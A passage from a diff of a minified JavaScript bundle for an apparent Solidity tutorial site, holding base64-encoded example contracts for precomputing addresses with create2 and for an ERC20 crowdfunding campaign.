ICB9CgogICAgICAgIGVtaXQgRGVwbG95ZWQoYWRkciwgX3NhbHQpOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgZm9vID0gX2ZvbzsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],hj=`

Contract address can be precomputed, before the contract is deployed, using create2

+`,tj=({prev:s,next:a})=>r.jsx(A,{version:nj,title:lj,description:pj,html:cj,prev:s,next:a,codes:ej}),oj="0.8.24",rj="Precompute Contract Address with Create2",ij="Precompute contract address with create2",gj=[{fileName:"Create2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgLy8gUmV0dXJucyB0aGUgYWRkcmVzcyBvZiB0aGUgbmV3bHkgZGVwbG95ZWQgY29udHJhY3QKICAgIGZ1bmN0aW9uIGRlcGxveShhZGRyZXNzIF9vd25lciwgdWludDI1NiBfZm9vLCBieXRlczMyIF9zYWx0KQogICAgICAgIHB1YmxpYwogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIC8vIFRoaXMgc3ludGF4IGlzIGEgbmV3ZXIgd2F5IHRvIGludm9rZSBjcmVhdGUyIHdpdGhvdXQgYXNzZW1ibHksIHlvdSBqdXN0IG5lZWQgdG8gcGFzcyBzYWx0CiAgICAgICAgLy8gaHR0cHM6Ly9kb2NzLnNvbGlkaXR5bGFuZy5vcmcvZW4vbGF0ZXN0L2NvbnRyb2wtc3RydWN0dXJlcy5odG1sI3NhbHRlZC1jb250cmFjdC1jcmVhdGlvbnMtY3JlYXRlMgogICAgICAgIHJldHVybiBhZGRyZXNzKG5ldyBUZXN0Q29udHJhY3R7c2FsdDogX3NhbHR9KF9vd25lciwgX2ZvbykpOwogICAgfQp9CgovLyBUaGlzIGlzIHRoZSBvbGRlciB3YXkgb2YgZG9pbmcgaXQgdXNpbmcgYXNzZW1ibHkKY29udHJhY3QgRmFjdG9yeUFzc2VtYmx5IHsKICAgIGV2ZW50IERlcGxveWVkKGFkZHJlc3MgYWRkciwgdWludDI1NiBzYWx0KTsKCiAgICAvLyAxLiBHZXQgYnl0ZWNvZGUgb2YgY29udHJhY3QgdG8gYmUgZGVwbG95ZWQKICAgIC8vIE5PVEU6IF9vd25lciBhbmQgX2ZvbyBhcmUgYXJndW1lbnRzIG9mIHRoZSBUZXN0Q29udHJhY3QncyBjb25zdHJ1Y3RvcgogICAgZnVuY3Rpb24gZ2V0Qnl0ZWNvZGUoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIGJ5dGVzIG1lbW9yeSBieXRlY29kZSA9IHR5cGUoVGVzdENvbnRyYWN0KS5jcmVhdGlvbkNvZGU7CgogICAgICAgIHJldHVybiBhYmkuZW5jb2RlUGFja2VkKGJ5dGVjb2RlLCBhYmkuZW5jb2RlKF9vd25lciwgX2ZvbykpOwogICAgfQoKICAgIC8vIDIuIENvbXB1dGUgdGhlIGFkZHJlc3Mgb2YgdGhlIGNvbnRyYWN0IHRvIGJlIGRlcGxveWVkCiAgICAvLyBOT1RFOiBfc2FsdCBpcyBhIHJhbmRvbSBudW1iZXIgdXNlZCB0byBjcmVhdGUgYW4gYWRkcmVzcwogICAgZnVuY3Rpb24gZ2V0QWRkcmVzcyhieXRlcyBtZW1vcnkgYnl0ZWNvZGUsIHVpbnQyNTYgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKAogICAgICAgICAgICAgICAgYnl0ZXMxKDB4ZmYpLCBhZGRyZXNzKHRoaXMpLCBfc2FsdCwga2VjY2FrMjU2KGJ5dGVjb2RlKQogICAgICAgICAgICApCiAgICAgICAgKTsKCiAgICAgICAgLy8gTk9URTogY2FzdCBsYXN0IDIwIGJ5dGVzIG9mIGhhc2ggdG8gYWRkcmVzcwogICAgICAgIHJldHVybiBhZGRyZXNzKHVpbnQxNjAodWludDI1NihoYXNoKSkpOwogICAgfQoKICAgIC8vIDMuIERlcGxveSB0aGUgY29udHJhY3QKICAgIC8vIE5PVEU6CiAgICAvLyBDaGVjayB0aGUgZXZlbnQgbG9nIERlcGxveWVkIHdoaWNoIGNvbnRhaW5zIHRoZSBhZGRyZXNzIG9mIHRoZSBkZXBsb3llZCBUZXN0Q29udHJhY3QuCiAgICAvLyBUaGUgYWRkcmVzcyBpbiB0aGUgbG9nIHNob3VsZCBlcXVhbCB0aGUgYWRkcmVzcyBjb21wdXRlZCBmcm9tIGFib3ZlLgogICAgZnVuY3Rpb24gZGVwbG95KGJ5dGVzIG1lbW9yeSBieXRlY29kZSwgdWludDI1NiBfc2FsdCkgcHVibGljIHBheWFibGUgewogICAgICAgIGFkZHJlc3MgYWRkcjsKCiAgICAgICAgLyoKICAgICAgICBOT1RFOiBIb3cgdG8gY2FsbCBjcmVhdGUyCgogICAgICAgIGNyZWF0ZTIodiwgcCwgbiwgcykKICAgICAgICBjcmVhdGUgbmV3IGNvbnRyYWN0IHdpdGggY29kZSBhdCBtZW1vcnkgcCB0byBwICsgbgogICAgICAgIGFuZCBzZW5kIHYgd2VpCiAgICAgICAgYW5kIHJldHVybiB0aGUgbmV3IGFkZHJlc3MKICAgICAgICB3aGVyZSBuZXcgYWRkcmVzcyA9IGZpcnN0IDIwIGJ5dGVzIG9mIGtlY2NhazI1NigweGZmICsgYWRkcmVzcyh0aGlzKSArIHMgKyBrZWNjYWsyNTYobWVtW3DigKYocCtuKSkpCiAgICAgICAgICAgICAgcyA9IGJpZy1lbmRpYW4gMjU2LWJpdCB2YWx1ZQogICAgICAgICovCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBhZGRyIDo9CiAgICAgICAgICAgICAgICBjcmVhdGUyKAogICAgICAgICAgICAgICAgICAgIGNhbGx2YWx1ZSgpLCAvLyB3ZWkgc2VudCB3aXRoIGN1cnJlbnQgY2FsbAogICAgICAgICAgICAgICAgICAgIC8vIEFjdHVhbCBjb2RlIHN0YXJ0cyBhZnRlciBza2lwcGluZyB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBhZGQoYnl0ZWNvZGUsIDB4MjApLAogICAgICAgICAgICAgICAgICAgIG1sb2FkKGJ5dGVjb2RlKSwgLy8gTG9hZCB0aGUgc2l6ZSBvZiBjb2RlIGNvbnRhaW5lZCBpbiB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBfc2FsdCAvLyBTYWx0IGZyb20gZnVuY3Rpb24gYXJndW1lbnRzCiAgICAgICAgICAgICAgICApCgogICAgICAgICAgICBpZiBpc3plcm8oZXh0Y29kZXNpemUoYWRkcikpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CgogICAgICAgIGVtaXQgRGVwbG95ZWQoYWRkciwgX3NhbHQpOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgZm9vID0gX2ZvbzsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],hj=`

Contract address can be precomputed, before the contract is deployed, using create2

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -613,7 +613,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         return address(this).balance;
     }
 }
-
`,Ij=({prev:s,next:a})=>r.jsx(u,{version:oj,title:rj,description:ij,html:hj,prev:s,next:a,codes:gj}),dj="0.8.24",Cj="Crowd Fund",jj="An example of crowd funding contract",uj=[{fileName:"CrowdFund.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0KCmNvbnRyYWN0IENyb3dkRnVuZCB7CiAgICBldmVudCBMYXVuY2goCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgY3JlYXRvciwKICAgICAgICB1aW50MjU2IGdvYWwsCiAgICAgICAgdWludDMyIHN0YXJ0QXQsCiAgICAgICAgdWludDMyIGVuZEF0CiAgICApOwogICAgZXZlbnQgQ2FuY2VsKHVpbnQyNTYgaWQpOwogICAgZXZlbnQgUGxlZGdlKHVpbnQyNTYgaW5kZXhlZCBpZCwgYWRkcmVzcyBpbmRleGVkIGNhbGxlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgVW5wbGVkZ2UodWludDI1NiBpbmRleGVkIGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBDbGFpbSh1aW50MjU2IGlkKTsKICAgIGV2ZW50IFJlZnVuZCh1aW50MjU2IGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgc3RydWN0IENhbXBhaWduIHsKICAgICAgICAvLyBDcmVhdG9yIG9mIGNhbXBhaWduCiAgICAgICAgYWRkcmVzcyBjcmVhdG9yOwogICAgICAgIC8vIEFtb3VudCBvZiB0b2tlbnMgdG8gcmFpc2UKICAgICAgICB1aW50MjU2IGdvYWw7CiAgICAgICAgLy8gVG90YWwgYW1vdW50IHBsZWRnZWQKICAgICAgICB1aW50MjU2IHBsZWRnZWQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIHN0YXJ0IG9mIGNhbXBhaWduCiAgICAgICAgdWludDMyIHN0YXJ0QXQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIGVuZCBvZiBjYW1wYWlnbgogICAgICAgIHVpbnQzMiBlbmRBdDsKICAgICAgICAvLyBUcnVlIGlmIGdvYWwgd2FzIHJlYWNoZWQgYW5kIGNyZWF0b3IgaGFzIGNsYWltZWQgdGhlIHRva2Vucy4KICAgICAgICBib29sIGNsYWltZWQ7CiAgICB9CgogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgdG9rZW47CiAgICAvLyBUb3RhbCBjb3VudCBvZiBjYW1wYWlnbnMgY3JlYXRlZC4KICAgIC8vIEl0IGlzIGFsc28gdXNlZCB0byBnZW5lcmF0ZSBpZCBmb3IgbmV3IGNhbXBhaWducy4KICAgIHVpbnQyNTYgcHVibGljIGNvdW50OwogICAgLy8gTWFwcGluZyBmcm9tIGlkIHRvIENhbXBhaWduCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gQ2FtcGFpZ24pIHB1YmxpYyBjYW1wYWlnbnM7CiAgICAvLyBNYXBwaW5nIGZyb20gY2FtcGFpZ24gaWQgPT4gcGxlZGdlciA9PiBhbW91bnQgcGxlZGdlZAogICAgbWFwcGluZyh1aW50MjU2ID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIHBsZWRnZWRBbW91bnQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIGxhdW5jaCh1aW50MjU2IF9nb2FsLCB1aW50MzIgX3N0YXJ0QXQsIHVpbnQzMiBfZW5kQXQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zdGFydEF0ID49IGJsb2NrLnRpbWVzdGFtcCwgInN0YXJ0IGF0IDwgbm93Iik7CiAgICAgICAgcmVxdWlyZShfZW5kQXQgPj0gX3N0YXJ0QXQsICJlbmQgYXQgPCBzdGFydCBhdCIpOwogICAgICAgIHJlcXVpcmUoX2VuZEF0IDw9IGJsb2NrLnRpbWVzdGFtcCArIDkwIGRheXMsICJlbmQgYXQgPiBtYXggZHVyYXRpb24iKTsKCiAgICAgICAgY291bnQgKz0gMTsKICAgICAgICBjYW1wYWlnbnNbY291bnRdID0gQ2FtcGFpZ24oewogICAgICAgICAgICBjcmVhdG9yOiBtc2cuc2VuZGVyLAogICAgICAgICAgICBnb2FsOiBfZ29hbCwKICAgICAgICAgICAgcGxlZGdlZDogMCwKICAgICAgICAgICAgc3RhcnRBdDogX3N0YXJ0QXQsCiAgICAgICAgICAgIGVuZEF0OiBfZW5kQXQsCiAgICAgICAgICAgIGNsYWltZWQ6IGZhbHNlCiAgICAgICAgfSk7CgogICAgICAgIGVtaXQgTGF1bmNoKGNvdW50LCBtc2cuc2VuZGVyLCBfZ29hbCwgX3N0YXJ0QXQsIF9lbmRBdCk7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKHVpbnQyNTYgX2lkKSBleHRlcm5hbCB7CiAgICAgICAgQ2FtcGFpZ24gbWVtb3J5IGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShjYW1wYWlnbi5jcmVhdG9yID09IG1zZy5zZW5kZXIsICJub3QgY3JlYXRvciIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgY2FtcGFpZ24uc3RhcnRBdCwgInN0YXJ0ZWQiKTsKCiAgICAgICAgZGVsZXRlIGNhbXBhaWduc1tfaWRdOwogICAgICAgIGVtaXQgQ2FuY2VsKF9pZCk7CiAgICB9CgogICAgZnVuY3Rpb24gcGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY2FtcGFpZ24uc3RhcnRBdCwgIm5vdCBzdGFydGVkIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkICs9IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdICs9IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnQpOwoKICAgICAgICBlbWl0IFBsZWRnZShfaWQsIG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVucGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkIC09IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CgogICAgICAgIGVtaXQgVW5wbGVkZ2UoX2lkLCBtc2cuc2VuZGVyLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbGFpbSh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIHN0b3JhZ2UgY2FtcGFpZ24gPSBjYW1wYWlnbnNbX2lkXTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLmNyZWF0b3IgPT0gbXNnLnNlbmRlciwgIm5vdCBjcmVhdG9yIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPiBjYW1wYWlnbi5lbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoY2FtcGFpZ24ucGxlZGdlZCA+PSBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA8IGdvYWwiKTsKICAgICAgICByZXF1aXJlKCFjYW1wYWlnbi5jbGFpbWVkLCAiY2xhaW1lZCIpOwoKICAgICAgICBjYW1wYWlnbi5jbGFpbWVkID0gdHJ1ZTsKICAgICAgICB0b2tlbi50cmFuc2ZlcihjYW1wYWlnbi5jcmVhdG9yLCBjYW1wYWlnbi5wbGVkZ2VkKTsKCiAgICAgICAgZW1pdCBDbGFpbShfaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlZnVuZCh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIG1lbW9yeSBjYW1wYWlnbiA9IGNhbXBhaWduc1tfaWRdOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID4gY2FtcGFpZ24uZW5kQXQsICJub3QgZW5kZWQiKTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLnBsZWRnZWQgPCBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA+PSBnb2FsIik7CgogICAgICAgIHVpbnQyNTYgYmFsID0gcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdOwogICAgICAgIHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYmFsKTsKCiAgICAgICAgZW1pdCBSZWZ1bmQoX2lkLCBtc2cuc2VuZGVyLCBiYWwpOwogICAgfQp9Cg=="}],Aj=`

Crowd fund ERC20 token

+`,Ij=({prev:s,next:a})=>r.jsx(A,{version:oj,title:rj,description:ij,html:hj,prev:s,next:a,codes:gj}),dj="0.8.24",Cj="Crowd Fund",jj="An example of crowd funding contract",Aj=[{fileName:"CrowdFund.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0KCmNvbnRyYWN0IENyb3dkRnVuZCB7CiAgICBldmVudCBMYXVuY2goCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgY3JlYXRvciwKICAgICAgICB1aW50MjU2IGdvYWwsCiAgICAgICAgdWludDMyIHN0YXJ0QXQsCiAgICAgICAgdWludDMyIGVuZEF0CiAgICApOwogICAgZXZlbnQgQ2FuY2VsKHVpbnQyNTYgaWQpOwogICAgZXZlbnQgUGxlZGdlKHVpbnQyNTYgaW5kZXhlZCBpZCwgYWRkcmVzcyBpbmRleGVkIGNhbGxlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgVW5wbGVkZ2UodWludDI1NiBpbmRleGVkIGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBDbGFpbSh1aW50MjU2IGlkKTsKICAgIGV2ZW50IFJlZnVuZCh1aW50MjU2IGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgc3RydWN0IENhbXBhaWduIHsKICAgICAgICAvLyBDcmVhdG9yIG9mIGNhbXBhaWduCiAgICAgICAgYWRkcmVzcyBjcmVhdG9yOwogICAgICAgIC8vIEFtb3VudCBvZiB0b2tlbnMgdG8gcmFpc2UKICAgICAgICB1aW50MjU2IGdvYWw7CiAgICAgICAgLy8gVG90YWwgYW1vdW50IHBsZWRnZWQKICAgICAgICB1aW50MjU2IHBsZWRnZWQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIHN0YXJ0IG9mIGNhbXBhaWduCiAgICAgICAgdWludDMyIHN0YXJ0QXQ7CiAgICAgICAgLy8gVGltZXN0YW1wIG9mIGVuZCBvZiBjYW1wYWlnbgogICAgICAgIHVpbnQzMiBlbmRBdDsKICAgICAgICAvLyBUcnVlIGlmIGdvYWwgd2FzIHJlYWNoZWQgYW5kIGNyZWF0b3IgaGFzIGNsYWltZWQgdGhlIHRva2Vucy4KICAgICAgICBib29sIGNsYWltZWQ7CiAgICB9CgogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgdG9rZW47CiAgICAvLyBUb3RhbCBjb3VudCBvZiBjYW1wYWlnbnMgY3JlYXRlZC4KICAgIC8vIEl0IGlzIGFsc28gdXNlZCB0byBnZW5lcmF0ZSBpZCBmb3IgbmV3IGNhbXBhaWducy4KICAgIHVpbnQyNTYgcHVibGljIGNvdW50OwogICAgLy8gTWFwcGluZyBmcm9tIGlkIHRvIENhbXBhaWduCiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gQ2FtcGFpZ24pIHB1YmxpYyBjYW1wYWlnbnM7CiAgICAvLyBNYXBwaW5nIGZyb20gY2FtcGFpZ24gaWQgPT4gcGxlZGdlciA9PiBhbW91bnQgcGxlZGdlZAogICAgbWFwcGluZyh1aW50MjU2ID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIHBsZWRnZWRBbW91bnQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIGxhdW5jaCh1aW50MjU2IF9nb2FsLCB1aW50MzIgX3N0YXJ0QXQsIHVpbnQzMiBfZW5kQXQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zdGFydEF0ID49IGJsb2NrLnRpbWVzdGFtcCwgInN0YXJ0IGF0IDwgbm93Iik7CiAgICAgICAgcmVxdWlyZShfZW5kQXQgPj0gX3N0YXJ0QXQsICJlbmQgYXQgPCBzdGFydCBhdCIpOwogICAgICAgIHJlcXVpcmUoX2VuZEF0IDw9IGJsb2NrLnRpbWVzdGFtcCArIDkwIGRheXMsICJlbmQgYXQgPiBtYXggZHVyYXRpb24iKTsKCiAgICAgICAgY291bnQgKz0gMTsKICAgICAgICBjYW1wYWlnbnNbY291bnRdID0gQ2FtcGFpZ24oewogICAgICAgICAgICBjcmVhdG9yOiBtc2cuc2VuZGVyLAogICAgICAgICAgICBnb2FsOiBfZ29hbCwKICAgICAgICAgICAgcGxlZGdlZDogMCwKICAgICAgICAgICAgc3RhcnRBdDogX3N0YXJ0QXQsCiAgICAgICAgICAgIGVuZEF0OiBfZW5kQXQsCiAgICAgICAgICAgIGNsYWltZWQ6IGZhbHNlCiAgICAgICAgfSk7CgogICAgICAgIGVtaXQgTGF1bmNoKGNvdW50LCBtc2cuc2VuZGVyLCBfZ29hbCwgX3N0YXJ0QXQsIF9lbmRBdCk7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKHVpbnQyNTYgX2lkKSBleHRlcm5hbCB7CiAgICAgICAgQ2FtcGFpZ24gbWVtb3J5IGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShjYW1wYWlnbi5jcmVhdG9yID09IG1zZy5zZW5kZXIsICJub3QgY3JlYXRvciIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgY2FtcGFpZ24uc3RhcnRBdCwgInN0YXJ0ZWQiKTsKCiAgICAgICAgZGVsZXRlIGNhbXBhaWduc1tfaWRdOwogICAgICAgIGVtaXQgQ2FuY2VsKF9pZCk7CiAgICB9CgogICAgZnVuY3Rpb24gcGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY2FtcGFpZ24uc3RhcnRBdCwgIm5vdCBzdGFydGVkIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkICs9IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdICs9IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnQpOwoKICAgICAgICBlbWl0IFBsZWRnZShfaWQsIG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVucGxlZGdlKHVpbnQyNTYgX2lkLCB1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBDYW1wYWlnbiBzdG9yYWdlIGNhbXBhaWduID0gY2FtcGFpZ25zW19pZF07CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPD0gY2FtcGFpZ24uZW5kQXQsICJlbmRlZCIpOwoKICAgICAgICBjYW1wYWlnbi5wbGVkZ2VkIC09IF9hbW91bnQ7CiAgICAgICAgcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CgogICAgICAgIGVtaXQgVW5wbGVkZ2UoX2lkLCBtc2cuc2VuZGVyLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbGFpbSh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIHN0b3JhZ2UgY2FtcGFpZ24gPSBjYW1wYWlnbnNbX2lkXTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLmNyZWF0b3IgPT0gbXNnLnNlbmRlciwgIm5vdCBjcmVhdG9yIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPiBjYW1wYWlnbi5lbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoY2FtcGFpZ24ucGxlZGdlZCA+PSBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA8IGdvYWwiKTsKICAgICAgICByZXF1aXJlKCFjYW1wYWlnbi5jbGFpbWVkLCAiY2xhaW1lZCIpOwoKICAgICAgICBjYW1wYWlnbi5jbGFpbWVkID0gdHJ1ZTsKICAgICAgICB0b2tlbi50cmFuc2ZlcihjYW1wYWlnbi5jcmVhdG9yLCBjYW1wYWlnbi5wbGVkZ2VkKTsKCiAgICAgICAgZW1pdCBDbGFpbShfaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlZnVuZCh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIG1lbW9yeSBjYW1wYWlnbiA9IGNhbXBhaWduc1tfaWRdOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID4gY2FtcGFpZ24uZW5kQXQsICJub3QgZW5kZWQiKTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLnBsZWRnZWQgPCBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA+PSBnb2FsIik7CgogICAgICAgIHVpbnQyNTYgYmFsID0gcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdOwogICAgICAgIHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYmFsKTsKCiAgICAgICAgZW1pdCBSZWZ1bmQoX2lkLCBtc2cuc2VuZGVyLCBiYWwpOwogICAgfQp9Cg=="}],uj=`

Crowd fund ERC20 token

  1. User creates a campaign.
  2. Users can pledge, transferring their token to a campaign.
